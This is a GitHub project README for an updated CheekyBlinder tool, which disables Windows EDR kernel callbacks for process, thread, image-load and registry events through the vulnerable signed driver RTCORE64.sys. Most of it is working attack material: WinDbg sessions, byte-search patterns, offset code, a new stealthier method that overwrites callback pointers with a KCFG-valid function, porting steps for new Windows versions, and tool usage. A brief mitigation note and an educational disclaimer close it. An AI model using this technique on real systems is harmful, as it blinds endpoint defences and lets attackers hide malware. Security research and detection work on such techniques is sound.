Files
Vixx 3a6e729326 Update Readme
Update Readme
2025-03-20 23:40:44 +02:00
..
2025-03-20 23:40:44 +02:00
2025-03-18 20:42:41 +02:00
2025-03-20 23:40:44 +02:00
2025-03-19 01:45:25 +02:00

Kernel Notify Callbacks Removal

CheekyBlinder is a project that was developed developed 5 years ago for removing kernel callbacks related to process creation, image load, thread creation, and registry modifications by https://github.com/br-sn.

Warning

Even though you can download the binaries from the releases, you have to make sure that the offsets and the binary search opcodes done is the same on your windows version or you will get a BLUE SCREEN OF DEATH

Major Updates

  • Updated the exploit to work on the latest Windows versions.

  • Introduced a stealthier method for bypassing kernel callbacks (not publicly disclosed yet, at least not as far as i know).

  • Completed the registry callback removal, which was previously non-completed.

  • Added step-by-step guidance on modifying the exploit for future or different Windows versions.

  • Heavely modified the code to make it reusable for other kernel modifications.

Prerequisistes

This code is based on the original blog post: Removing Kernel Callbacks Using Signed Drivers so i recommend going over the concepts there first.

This is an advanced topic requiring the following prerequisites:

  • Assembly understanding

  • Familiarity with C programming

  • Experience with WinDbg

  • Familiarity with IDA

  • Windows kernel exploitation knowledge

Tools Used

WinDbg: Windows Debugging Tools

IDA: Hex-Rays IDA Free

Kernel Debugging Setup

To debug your local kernel, follow the instructions here: Setting up local kernel debugging

Target Audience

This project is for both pentesters and defenders to understand how attackers can bypass EDR kernel implementations.

Purpose

Tools exist already for example EDRSandblast which is great that will do this and more and calculate offsets automaticaly, but this is designed to be small and on point for multiple reasons:

  • For everyone to be able to learn how technically bypassing EDR and kernel callback removal is done.
  • For having the flexibility to create your own tool which make it pretty easier to bypass signature based detection.
  • For researchers to be able to play around the code and debug and reverse.
  • Introducing a stealthier way which is not included in EDRSandblast

New Introduced Method

The public method for bypassing most kernel callbacks involves nulling the entire entry for the driver in the callback table. The new method discussed here is stealthier and modifies the callback function itself while maintaining Kernel Control Flow Guard (KCFG) compliance.

we can overwrite the function itself by a KCFG comppliant function because based on the documentation of microsoft for setting up a notify routine, the routine doesn't return anything (it's void), so it's easy to find a KCFG compliant function that doesn't do much and even if it returns, the return value is not used.

Attacker Abuse Cases

An attacker with administrative privileges may attempt to disable EDR or install a rootkit. To interact with the kernel, a signed Microsoft driver is required. Since unsigned drivers cannot be loaded with Microsoft mitigations enabled (e.g., VBS, Hyper-V), attackers typically exploit vulnerable signed drivers that have not been blacklisted.

NotifyRoutineKernelBypass project uses RTCORE64.sys driver which is not yet blocklisted by MICROSOFT

Introduction to Kernel Callbacks

AV vendors and kernel anti-cheat systems register kernel callbacks to monitor system events. These callbacks notify security software of user-mode events, such as process creation.

So the kernel driver will register a callback (for process creation in our example) inside the kernel which will notify the AV / EDR Driver when you create / spawn a new process in usermode.

The kernel uses a callback array / table to save all the callback entries that are registred by the AV / EDR and will be notified when you create a process for example.

And the callback array is already writable in the kernel, which makes it as well easier for attackers to corrupt it.

Process creation kernel callbacks

For process creation callbacks the array is nt!PspCreateProcessNotifyRoutine which can be found inside the function nt!PspSetCreateProcessNotifyRoutine

nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff807`23c1b2dc 488bf8          mov     rdi,rax
fffff807`23c1b2df 4885c0          test    rax,rax
fffff807`23c1b2e2 0f84ae630f00    je      nt!PspSetCreateProcessNotifyRoutine+0xf640e (fffff807`23d11696)
fffff807`23c1b2e8 33db            xor     ebx,ebx
fffff807`23c1b2ea 4c8d2d0f124f00  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff807`2410c500)]
fffff807`23c1b2f1 488d0cdd00000000 lea     rcx,[rbx*8]
fffff807`23c1b2f9 4533c0          xor     r8d,r8d
fffff807`23c1b2fc 4903cd          add     rcx,r13

And now we can access the entries in the callback array as follow:

lkd> dq nt!PspCreateProcessNotifyRoutine
fffff807`2410c500  ffff800e`5beb7b4f ffff800e`5c7f725f
fffff807`2410c510  ffff800e`5c7f758f ffff800e`5c7f7a9f
fffff807`2410c520  ffff800e`5cdd5c2f ffff800e`5cdd652f
fffff807`2410c530  ffff800e`5cdd6a9f ffff800e`5e896edf
fffff807`2410c540  ffff800e`5e1ab33f ffff800e`5e1adf4f
fffff807`2410c550  00000000`00000000 00000000`00000000
fffff807`2410c560  00000000`00000000 00000000`00000000
fffff807`2410c570  00000000`00000000 00000000`00000000

Each one of these entries are a callback registred by an EDR sys driver, lets take the second entry as an example ffff800e`5c7f725f

First we need to remove the last byte and null it out (The last 4 bits of these pointer addresses are insignificant), to access the callback entry structure.

lkd> ? (ffff800e`5c7f725f >> 4) << 4
Evaluate expression: -140675806956976 = ffff800e`5c7f7250
lkd> dq ffff800e`5c7f7250 L4
ffff800e`5c7f7250  00000000`00000020 fffff807`252e9b70
ffff800e`5c7f7260  00000000`00000006 00000000`00000000
lkd> u fffff807`252e9b70 L3
WdFilter!MpCreateProcessNotifyRoutineEx:
fffff807`252e9b70 48895c2410      mov     qword ptr [rsp+10h],rbx
fffff807`252e9b75 48894c2408      mov     qword ptr [rsp+8],rcx
fffff807`252e9b7a 55              push    rbp

The second entry which is fffff807`252e9b70 is one of the functions that will be called when you create a process (WdFilter driver is related to windows defender). and this is only one of the callback entries.

So in the original cheeckyblinder project what he did is he nulled the whole entry in the callback table which is this one ffff800e`5c7f725f, so using a R/W primitive kernel exploit we can null the entry, and this is what the callback table looks like after nulling it out.

lkd> dq nt!PspCreateProcessNotifyRoutine
fffff807`2410c500  ffff800e`5beb7b4f 00000000`00000000
fffff807`2410c510  ffff800e`5c7f758f ffff800e`5c7f7a9f
fffff807`2410c520  ffff800e`5cdd5c2f ffff800e`5cdd652f
fffff807`2410c530  ffff800e`5cdd6a9f ffff800e`5e896edf
fffff807`2410c540  ffff800e`5e1ab33f ffff800e`5e1adf4f
fffff807`2410c550  00000000`00000000 00000000`00000000
fffff807`2410c560  00000000`00000000 00000000`00000000
fffff807`2410c570  00000000`00000000 00000000`00000000

but what I did is, instead of nulling the whole entry, I changed the function in the callback array to another one that just returns but it has to be KCFG compliant.

nt!KeGetCurrentIrql is a KCFG valid function that just technicaly just returns.

lkd> dq nt!PspCreateProcessNotifyRoutine
fffff807`2410c500  ffff800e`5beb7b4f ffff9b02`251f6dff
fffff807`2410c510  ffff800e`5c7f758f ffff800e`5c7f7a9f
fffff807`2410c520  ffff800e`5cdd5c2f ffff800e`5cdd652f
fffff807`2410c530  ffff800e`5cdd6a9f ffff800e`5e896edf
fffff807`2410c540  ffff800e`5e1ab33f ffff800e`5e1adf4f
fffff807`2410c550  00000000`00000000 00000000`00000000
fffff807`2410c560  00000000`00000000 00000000`00000000
fffff807`2410c570  00000000`00000000 00000000`00000000
lkd> dq ffff9b02`251f6df0 L2
ffff9b02`251f6df0  00000000`00000020 fffff804`8fdea060
lkd> u fffff804`8fdea060 L2
nt!KeGetCurrentIrql:
fffff804`8fdea060 440f20c0        mov     rax,cr8
fffff804`8fdea064 c3              ret

As you can see, instead of nulling the whole callback entry => we just changed the function inside the entry to KeGetCurrentIrql which will do nothing leading to bypassing what ever the AV / EDR was checking.

And if EDR was monitoring the callback entry itself if it's null or not, this will bypass that monitoring technique.

What is KCFG

KCFG (Control Flow Guard) is a security feature related to Control Flow Guard (CFG), which is designed to protect software from certain types of attacks, particularly control flow hijacking attacks (e.g., buffer overflows, return-oriented programming or ROP attacks). It was first introduced by Microsoft to prevent these attacks by ensuring that execution of code only occurs at valid locations.

So All indirect calls (call rax for example) will be replaced and verified by KCFG like below.

lkd> u FLTMGR!FltDoCompletionProcessingWhenSafe+0x77
FLTMGR!FltDoCompletionProcessingWhenSafe+0x77:
fffff807`1ee01567 488bcd          mov     rcx,rbp
fffff807`1ee0156a bf01000000      mov     edi,1
fffff807`1ee0156f ff1583450300    call    qword ptr [FLTMGR!_guard_dispatch_icall_fptr (fffff807`1ee35af8)]
fffff807`1ee01575 8bd8            mov     ebx,eax
fffff807`1ee01577 41891e          mov     dword ptr [r14],ebx
fffff807`1ee0157a 408ac7          mov     al,dil
fffff807`1ee0157d 488b5c2450      mov     rbx,qword ptr [rsp+50h]
fffff807`1ee01582 488b6c2458      mov     rbp,qword ptr [rsp+58h]
lkd> dqs FLTMGR!_guard_dispatch_icall_fptr L1
fffff807`1ee35af8  fffff807`23820170 nt!guard_dispatch_icall
lkd> u fffff807`23820170
nt!guard_dispatch_icall:
fffff807`23820170 4c8b1d89179e00  mov     r11,qword ptr [nt!guard_icall_bitmap (fffff807`24201900)]
fffff807`23820177 4885c0          test    rax,rax

The real function which we want to call will be loaded into rax and KCFG (nt!guard_dispatch_icall) will be called, which will verify that the function inside rax is a valid function through a bitmap using the following process (the process is inside nt!guard_dispatch_icall).

The calculation are based on the function nt!KeGetCurrentIrql, because this is the function that we are going to end up calling.

lkd> ? nt!KeGetCurrentIrql >> 9 (Will be used as Index)
Evaluate expression: 36028779900694815 = 007ffffc`03abf11f

lkd> ? (nt!KeGetCurrentIrql >> 3) mod 40 (BitToCheck)
Evaluate expression: 54 = 00000000`00000036

lkd> dqs nt!guard_icall_bitmap L1
fffff807`58a01900  fbffa8d7`9452c248

lkd> dqs fbffa8d7`9452c248 + 007ffffc`03abf11f (Index) * 0x08 L1 (Entry)
ffffa8b7`b1b24b40  00410004`00004400

lkd> .formats 00410004`00004400
Evaluate expression:
Binary:  00000000 01000001 00000000 00000100 00000000 00000000 01000100 00000000

The BitToCheck which in our case is the bit 54 needs to be 1, if it's 1 it means the call is valid which is the case for KeGetCurrentIrql.

So the plan is to replace the function pointing to the AV function to be called (fffff807252e9b70) to KeGetCurrentIrql (fffff80723623fb0) which will render the entry useless.

lkd> u KeGetCurrentIrql L2
nt!KeGetCurrentIrql:
fffff807`23623fb0 440f20c0        mov     rax,cr8
fffff807`23623fb4 c3              ret
lkd> dq ffff800e`5c7f7250 L4
ffff800e`5c7f7250  00000000`00000020 fffff807`252e9b70
ffff800e`5c7f7260  00000000`00000006 00000000`00000000
lkd> eq ffff800e`5c7f7258 fffff807`23623fb0
lkd> dq ffff800e`5c7f7250 L4
ffff800e`5c7f7250  00000000`00000020 fffff807`23623fb0
ffff800e`5c7f7260  00000000`00000006 00000000`00000000
lkd> u fffff807`252e9b70 L2
WdFilter!MpCreateProcessNotifyRoutineEx:
fffff805`55e99b70 48895c2410      mov     qword ptr [rsp+10h],rbx
fffff805`55e99b75 48894c2408      mov     qword ptr [rsp+8],rcx

How to Fix the code to work on your windows version (process creation callback first)

Fixing the bytes for the byte search for your windows OS

The change needs to be done on both findprocesscallbackroutine and findprocesscallbackroutinestealth

findprocesscallbackroutinestealth is the function that i introduced which will modify the function inside the entry.

findprocesscallbackroutine is the original function from the original exploit which will null out the entry.

The original code will do a byte search to find the location of the function that is using the callback table (nt!PspSetCreateProcessNotifyRoutine) starting from a exported function close to it.

First you need double check the bytes did not change for your windows OS.

struct Offsets {
    DWORD64 process;
    DWORD64 image;
    DWORD64 thread;
    DWORD64 registry;
};

struct Offsets getVersionOffsets() {
    wchar_t value[255] = { 0x00 };
    DWORD BufferSize = 255;
    RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
    wprintf(L"[+] Windows Version %s Found\n", value);
    auto winVer = _wtoi(value);
    switch (winVer) {
        //case 1903:
    case 1909:
        return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };
    case 2004:
        return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };
    case 2009:
        return { 0x7340fe8341f63345, 0x8d48d68b48c03345, 0x48d90c8d48c03345, 0x4024448948f88b48 };
    default:
        wprintf(L"[!] Version Offsets Not Found!\n");

    }

}

The first DWORD is the callback related to the process creation and it contains the bytes that the program will search for.

we know that the function nt!PspSetCreateProcessNotifyRoutine is using the callback array.

The idea is to find some bytes close to the lea command that is using the callback array we are interested in, and the bytes that we will use, they need to be static so we can rely on them for byte searching and not change after each reboot.

lkd> u nt!PspSetCreateProcessNotifyRoutine L20
nt!PspSetCreateProcessNotifyRoutine:
fffff800`a4e61fd0 48895c2408      mov     qword ptr [rsp+8],rbx
fffff800`a4e61fd5 48896c2410      mov     qword ptr [rsp+10h],rbp
fffff800`a4e61fda 4889742418      mov     qword ptr [rsp+18h],rsi
fffff800`a4e61fdf 57              push    rdi
fffff800`a4e61fe0 4154            push    r12
fffff800`a4e61fe2 4155            push    r13
fffff800`a4e61fe4 4156            push    r14
fffff800`a4e61fe6 4157            push    r15
fffff800`a4e61fe8 4883ec20        sub     rsp,20h
fffff800`a4e61fec 8bf2            mov     esi,edx
fffff800`a4e61fee 8bda            mov     ebx,edx
fffff800`a4e61ff0 83e602          and     esi,2
fffff800`a4e61ff3 4c8bf9          mov     r15,rcx
fffff800`a4e61ff6 f6c201          test    dl,1
fffff800`a4e61ff9 0f8487000000    je      nt!PspSetCreateProcessNotifyRoutine+0xb6 (fffff800`a4e62086)
fffff800`a4e61fff 65488b2c2588010000 mov   rbp,qword ptr gs:[188h]
fffff800`a4e62008 4c8d2d712a4a00  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff800`a5304a80)]
fffff800`a4e6200f 83c8ff          or      eax,0FFFFFFFFh
fffff800`a4e62012 660185e4010000  add     word ptr [rbp+1E4h],ax
fffff800`a4e62019 90              nop
fffff800`a4e6201a 4533f6          xor     r14d,r14d
fffff800`a4e6201d 4183fe40        cmp     r14d,40h
fffff800`a4e62021 7338            jae     nt!PspSetCreateProcessNotifyRoutine+0x8b (fffff800`a4e6205b)
fffff800`a4e62023 4e8d24f500000000 lea     r12,[r14*8]

And so the bytes that we can use for example is the highlighed ones starting from xor, but we need to write them in the c variable in reverse (little endian arch) which is 0x7340fe8341f63345.

lkd> dq ffffff800`a4e6201a L1
fffff800`a4e6201a  7340fe83`41f63345

Fixing the offset

Next we need to fix the offset, to be able to extract and calculate the address of the callback array.

void notifyRoutine::findprocesscallbackroutine(DWORD64 remove) {

	//we search the memory between PoRegisterCoalescingCallback and EtwWriteEndScenario for a specific set of instructions next to a relative LEA containing the offset to the PspCreateProcessNotifyRoutine array of callbacks.
	Offsets offsets = getVersionOffsets();
	const DWORD64 IoDeleteSymbolicLink = GetFunctionAddress("IoDeleteSymbolicLink");
	const DWORD64 RtlDestroyHeap = GetFunctionAddress("RtlDestroyHeap");

	//the address returned by the patternsearch is just below the offsets. 
	DWORD64 patternaddress = PatternSearch(IoDeleteSymbolicLink, RtlDestroyHeap, offsets.process);
	Log("[+] patternaddress: %p", patternaddress);

	DWORD offset;

	BOOL b = this->objMemHandler->VirtualRead(
		(DWORD64)patternaddress - 0x0f,
		&offset,
		sizeof(offset)
	);

	//so we take the 64 bit address, but have a 32 bit addition. To prevent overflow, we grab the first half (shift right, shift left), then add the 32bit DWORD patternaddress with the 32bit offset, and subtract 8. *cringe*
	DWORD64 PspCreateProcessNotifyRoutineAddress = (((patternaddress) >> 32) << 32) + ((DWORD)(patternaddress)+offset) - 0x0f + 0x04;
  ....................
}

Looking at this piece of code, we will see that after the byte search we will get the patternaddress which will be pointing to the xor command fffff800a4e6201a. We need to substract from it an offset to make it point to the 4-byte relative offset of the array which is 712a4a00 in reverse at fffff800a4e6200b.

lkd> dd fffff800`a4e6200b L1
fffff800`a4e6200b  004a2a71

so we need to substract 0xf from the pattern address.

lkd> dd fffff800`a4e6200b L1
fffff800`a4e6200b  004a2a71
lkd> ? fffff800`a4e6201a - fffff800`a4e6200b
Evaluate expression: 15 = 00000000`0000000f

Fixing the functions

nt!PspSetCreateProcessNotifyRoutine is not an exported function, so we cannot get the address of the function directly in our c code. We need to start the byte search using a function that is exported and close to nt!PspSetCreateProcessNotifyRoutine.

the functions needs to be exported to be able to use GetProcAddress and GetModuleHandle on them and get the function address.

So To find the closest exported functions (start and end) to use in our code as a starting point for the byte search, we can use IDA.

First let's get the offset to the function from the nt base

lkd> ? nt!PspSetCreateProcessNotifyRoutine - nt
Evaluate expression: 8499848 = 00000000`00a61fd0

Then copy the ntoskrnl.exe from c:/windows/system32 to open it in IDA.

Then in IDA, first of all we rebase the IMAGEBASE to 0x00, to make the offsets we get in windbg from the nt base the actual address in IDA, without any additional calculations.

IDA Rebase

IDA Rebase

Next we go the Export table in IDA and reorder all the functions by address.

Note: It will take some time for the addresses in the export table to be refreshed after the rebase.

And then you have to pick 2 functions where 0000000000a61fd0 which is the address of nt!PspSetCreateProcessNotifyRoutine is between them.

As you can, from the screenshot IoDeleteSymbolicLink and RtlDestroyHeap are the start and end functions that i will be using as nt!PspSetCreateProcessNotifyRoutine falls in between, so i can use IoDeleteSymbolicLink as the start of the byte search.

Export Table

Rest of the code

and the rest of the code is looping thourght the callback array that we just found, and nulling the entry or replacing the function in the entry depending on what function you are using.

/delproc <address> - Remove Process Creation Callback
/delprocstealth <address> - overwriting the Process Creation function Callback

You can check the Cheeckyblinder Blog for more info about the code.

Thread Callback

When creating a new thread, each entry in the callback array that was registred by the EDR will be called.

Same steps as we did for the process callback, it's just a different callback function and callback array for the thread related actions.

The function is called nt!PspSetCreateThreadNotifyRoutine which is using the thread callback array nt!PspCreateThreadNotifyRoutine

lkd> u nt!PspSetCreateThreadNotifyRoutine L12
nt!PspSetCreateThreadNotifyRoutine:
fffff800`a4b54b18 48895c2408      mov     qword ptr [rsp+8],rbx
fffff800`a4b54b1d 4889742410      mov     qword ptr [rsp+10h],rsi
fffff800`a4b54b22 57              push    rdi
fffff800`a4b54b23 4883ec20        sub     rsp,20h
fffff800`a4b54b27 8bf2            mov     esi,edx
fffff800`a4b54b29 8bd2            mov     edx,edx
fffff800`a4b54b2b e8807f3000      call    nt!ExAllocateCallBack (fffff800`a4e5cab0)
fffff800`a4b54b30 488bf8          mov     rdi,rax
fffff800`a4b54b33 4885c0          test    rax,rax
fffff800`a4b54b36 746f            je      nt!PspSetCreateThreadNotifyRoutine+0x8f (fffff800`a4b54ba7)
fffff800`a4b54b38 33db            xor     ebx,ebx
fffff800`a4b54b3a 83fb40          cmp     ebx,40h
fffff800`a4b54b3d 735e            jae     nt!PspSetCreateThreadNotifyRoutine+0x85 (fffff800`a4b54b9d)
fffff800`a4b54b3f 488d0d3afd7a00  lea     rcx,[nt!PspCreateThreadNotifyRoutine (fffff800`a5304880)]
fffff800`a4b54b46 4533c0          xor     r8d,r8d
fffff800`a4b54b49 488d0cd9        lea     rcx,[rcx+rbx*8]
fffff800`a4b54b4d 488bd7          mov     rdx,rdi
fffff800`a4b54b50 e8774ac6ff      call    nt!ExCompareExchangeCallBack (fffff800`a47b95cc)

The bytes will be 0x48d90c8d48c03345 and we need to substract 0x04 to get to the relative offset address of the callback array which is 007afd3a and read it.

lkd> dq fffff800`a4b54b46 L1
fffff800`a4b54b46  48d90c8d`48c03345
struct Offsets {
    DWORD64 process;
    DWORD64 image;
    DWORD64 thread;
    DWORD64 registry;
};

struct Offsets getVersionOffsets() {
    wchar_t value[255] = { 0x00 };
    DWORD BufferSize = 255;
    RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
    wprintf(L"[+] Windows Version %s Found\n", value);
    auto winVer = _wtoi(value);
    switch (winVer) {
        //case 1903:
    case 1909:
        return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };
    case 2004:
        return { 0x8b48cd0349c03345, 0xe8d78b48d90c8d48, 0xe8cd8b48f92c8d48, 0x4024448948f88b48 };
    case 2009:
        return { 0x7340fe8341f63345, 0x8d48d68b48c03345, 0x48d90c8d48c03345, 0x4024448948f88b48 };
    default:
        wprintf(L"[!] Version Offsets Not Found!\n");

    }

}

Using the same method as the process callback we need to find 2 functions close to PspSetCreateThreadNotifyRoutine for the bytes searching.

lkd> ? nt!PspSetCreateThreadNotifyRoutine - nt
Evaluate expression: 7686936 = 00000000`00754b18

Export Table

Image Callback

The function is nt!PsSetLoadImageNotifyRoutineEx

lkd> u nt!PsSetLoadImageNotifyRoutineEx L15
nt!PsSetLoadImageNotifyRoutineEx:
fffff800`a4e5c970 48895c2408      mov     qword ptr [rsp+8],rbx
fffff800`a4e5c975 48896c2410      mov     qword ptr [rsp+10h],rbp
fffff800`a4e5c97a 4889742418      mov     qword ptr [rsp+18h],rsi
fffff800`a4e5c97f 57              push    rdi
fffff800`a4e5c980 4883ec20        sub     rsp,20h
fffff800`a4e5c984 488be9          mov     rbp,rcx
fffff800`a4e5c987 48f7c2feffffff  test    rdx,0FFFFFFFFFFFFFFFEh
fffff800`a4e5c98e 7569            jne     nt!PsSetLoadImageNotifyRoutineEx+0x89 (fffff800`a4e5c9f9)
fffff800`a4e5c990 e81b010000      call    nt!ExAllocateCallBack (fffff800`a4e5cab0)
fffff800`a4e5c995 33db            xor     ebx,ebx
fffff800`a4e5c997 488bf0          mov     rsi,rax
fffff800`a4e5c99a 4885c0          test    rax,rax
fffff800`a4e5c99d 7476            je      nt!PsSetLoadImageNotifyRoutineEx+0xa5 (fffff800`a4e5ca15)
fffff800`a4e5c99f 8bfb            mov     edi,ebx
fffff800`a4e5c9a1 83ff40          cmp     edi,40h
fffff800`a4e5c9a4 7365            jae     nt!PsSetLoadImageNotifyRoutineEx+0x9b (fffff800`a4e5ca0b)
fffff800`a4e5c9a6 8bc7            mov     eax,edi
fffff800`a4e5c9a8 488d0dd17c4a00  lea     rcx,[nt!PspLoadImageNotifyRoutine (fffff800`a5304680)]
fffff800`a4e5c9af 4533c0          xor     r8d,r8d
fffff800`a4e5c9b2 488bd6          mov     rdx,rsi
fffff800`a4e5c9b5 488d0cc1        lea     rcx,[rcx+rax*8]

same as the others, we need to make sure the bytes are correct 0x8d48d68b48c03345 and the offset is still the same 0x04 and find 2 functions close to nt!PsSetLoadImageNotifyRoutineEx for the byte search.

lkd> dq fffff800`a4e5c9af L1
fffff800`a4e5c9af 8d48d68b`48c03345
lkd> ? nt!PsSetLoadImageNotifyRoutineEx - nt
Evaluate expression: 10865008 = 00000000`00a5c970

Export Table 2

Based on the screenshot the function PsSetLoadImageNotifyRoutineEx is exported and we can use it directly, it wasn't always the case between windows versions. so i will still use RtlAppendStringToString as start and IoInitializeMiniCompletionPacket as end.

Registry Callback

For the registry callback its a little bit different where all the callback functions are saved inside a linked list called nt!CallbackListHead.

First we need to to find out a function that uses nt!CallbackListHead and ideally an exported function to use it in our byte search.

First let's calculate the offset of nt!CallbackListHead from the nt base

lkd> ? nt!CallbackListHead - nt
Evaluate expression: 15691152 = 00000000`00ef6d90

Then in IDA, lets go to that address by going to Jump => Jump to Address and use 00ef6d90

Jump To Address

Now we can hover our mouse on CallbackListHead => click on it => and then press x for cross reference which will tell us who is actually using that list.

Cross Reference

And luckily the first function CmUnRegisterCallback is also an exported function, so we can use the following functions as start and end for our search.

Export Table 3

nt!CmUnRegisterCallback+0x58:
fffff800`a4baeaa8 488d0de1827400  lea     rcx,[nt!CallbackListHead (fffff800`a52f6d90)]
fffff800`a4baeaaf e85cd03c00      call    nt!CmListGetNextElement (fffff800`a4f7bb10)
fffff800`a4baeab4 488bf8          mov     rdi,rax
fffff800`a4baeab7 4889442440      mov     qword ptr [rsp+40h],rax
fffff800`a4baeabc 4885c0          test    rax,rax
fffff800`a4baeabf 0f848d000000    je      nt!CmUnRegisterCallback+0x102 (fffff800`a4baeb52)
fffff800`a4baeac5 48395818        cmp     qword ptr [rax+18h],rbx
fffff800`a4baeac9 75d5            jne     nt!CmUnRegisterCallback+0x50 (fffff800`a4baeaa0)

The bytes will be 0x4024448948f88b48 and we need to substract 0x09 to get to the relative offset address of the callback array which is 007482e1 and read it.

lkd> dq fffff800`a4baeabc L1
fffff800`a4baeabc  40244489`48f88b48

nt!CallbackListHead is a linked list where each entry at offset 0x28 is the function being called.

lkd> dqs nt!CallbackListHead L2
fffff800`a52f6d90  ffffd182`c338ff70
fffff800`a52f6d98  ffffd182`c7f74850
lkd> dqs ffffd182`c338ff70 L2
ffffd182`c338ff70  ffffd182`c37c2d30
ffffd182`c338ff78  fffff800`a52f6d90 nt!CallbackListHead

It only contains one entry, let's check what's at offset 0x28 of that entry

lkd> dqs nt!CallbackListHead L2
fffff800`a52f6d90  ffffd182`c338ff70
fffff800`a52f6d98  ffffd182`c7f74850
lkd> dqs ffffd182`c338ff70 L2
ffffd182`c338ff70  ffffd182`c37c2d30
ffffd182`c338ff78  fffff800`a52f6d90 nt!CallbackListHead
lkd> dqs ffffd182`c338ff70 L6
ffffd182`c338ff70  ffffd182`c37c2d30
ffffd182`c338ff78  fffff800`a52f6d90 nt!CallbackListHead
ffffd182`c338ff80  00000000`00000000
ffffd182`c338ff88  01db94d7`cec0b740
ffffd182`c338ff90  00000000`00000000
ffffd182`c338ff98  fffff800`37f98000 WdFilter+0x28000

We have 2 options to bypass this:

1- Removing the whole link from the linked list => delinking

2- Overwriting the function at offset 0x28 with a KCFG compliant function that just returns rendering the link useless.

Mitigation

Defenders should not allow any new driver to be loaded onto a system, regardless of whether it is signed or not. If a user requires a driver, it must be reviewed and approved by IT. Security teams should configure their EDR or AV platforms to block any new driver from being loaded unless explicitly approved.

Usage

C:\Users\Vixx\Desktop\Tools\PEN-300\EDR Kernel Bypasses\CheekyBlinder-solution\x64\Release>CheekyBlinder.exe
Usage: CheekyBlinder.exe
 /proc - List Process Creation Callbacks
 /delproc  - Remove Process Creation Callback
 /delprocstealth  - overwriting the Process Creation function Callback
 /thread - List Thread Creation Callbacks
 /delthread - Remove Thread Creation Callback
 /installDriver - Install the MSI driver
 /uninstallDriver - Uninstall the MSI driver
 /img - List Image Load Callbacks
 /delimg  - Remove Image Load Callback
 /reg - List Registry modification callbacks
 /delreg  - Remove Registry callback
 /unlinkreg  - Remove Registry linked list callback
 

What's new from the original exploit:

/unlinkreg which will delink the callback entry in the linked list.

/delreg is now working which will overwrite the callback function in the callback list entry with a kcfg compliant function that does nothing.

/delprocstealth overwriting the Process Creation function Callback with a kcfg compliant function that does nothing.

while we can use the same stealth method for the img and thread as well, I only did it for the process creation callback and the registry callback.

RTCORE64.sys needs to be on the same folder where your exe is.

Reference

https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/

Disclaimer

This project is for educational purposes only. Unauthorized use of this tool in production or against systems without explicit permission is strictly prohibited.